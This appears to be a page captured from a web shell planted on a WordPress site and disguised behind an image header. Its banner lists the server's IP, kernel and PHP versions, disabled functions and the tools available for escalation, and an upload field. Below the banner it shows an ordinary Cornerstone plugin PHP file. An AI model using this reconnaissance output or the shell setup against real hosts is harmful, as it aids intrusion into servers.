????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.216.191 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/www.astacus.se/wp-content/plugins/cornerstone/includes/ |
Upload File : |
<?php
class Cornerstone_Plugin extends Cornerstone_Plugin_Base {
public static $instance;
protected $init_priority = -1000;
/**
* Common Component Accessor
* @return object reference to Cornerstone_Common instance
*/
public function common() {
return $this->component( 'Common' );
}
/**
* Shortcut to getting javascript asset URLs.
* @param string asset name. For example: "admin/builder"
* @return string URL to asset
*/
public function js( $asset, $app = false ) {
$app = ( $app ) ? '-app' : '';
return $this->url( "assets/dist$app/js/$asset" . $this->component( 'Common' )->jsSuffix() );
}
/**
* Shortcut to getting css asset URLs.
* @param string asset name. For example: "admin/builder"
* @return string URL to asset
*/
public function css( $asset, $app = false ) {
$app = ( $app ) ? '-app' : '';
return $this->url( "assets/dist$app/css/$asset.css" );
}
/**
* Get array of Cornerstone settings with defaults applied
* @return array
*/
public function settings() {
return wp_parse_args( get_option( 'cornerstone_settings', array() ), $this->config_group( 'common/default-settings' ) );
}
/**
* Return plugin instance.
* @return object Singleton instance
*/
public static function instance() {
return ( isset( self::$instance ) ) ? self::$instance : false;
}
/**
* Run immediately after object instantiation, before anything else is loaded.
* @return void
*/
public function preinitBefore() {
// Register class autoloader
$this->autoload_directories = glob( self::$instance->path( 'includes/classes' ) . '/*' );
spl_autoload_register( array( __CLASS__, 'autoloader' ) );
}
public function adminBefore() {
// Version migrations
add_action( 'cornerstone_updated', array( $this, 'update' ) );
}
public function update( $prior ) {
/**
* Run if coming from a version prior to Before 1.0.7
* if ( version_compare( $prior, '1.0.7', '<' ) ) {
* }
*/
}
/**
* Cornerstone class autoloader.
* @param string $class_name
* @return void
*/
public static function autoloader( $class_name ) {
if ( false === strpos( $class_name, self::$instance->name ) ) {
return;
}
$class = str_replace( self::$instance->name . '_', '', $class_name );
$file = 'class-' . str_replace( '_', '-', strtolower( $class ) ) . '.php';
foreach ( self::$instance->autoload_directories as $directory ) {
$path = $directory . '/' . $file;
if ( ! file_exists( $path ) ) {
continue;
}
require_once( $path );
}
}
}
/**
* Access Cornerstone without a global variable
* @return object main Cornerstone instance.
*/
function CS() {
return Cornerstone_Plugin::instance();
}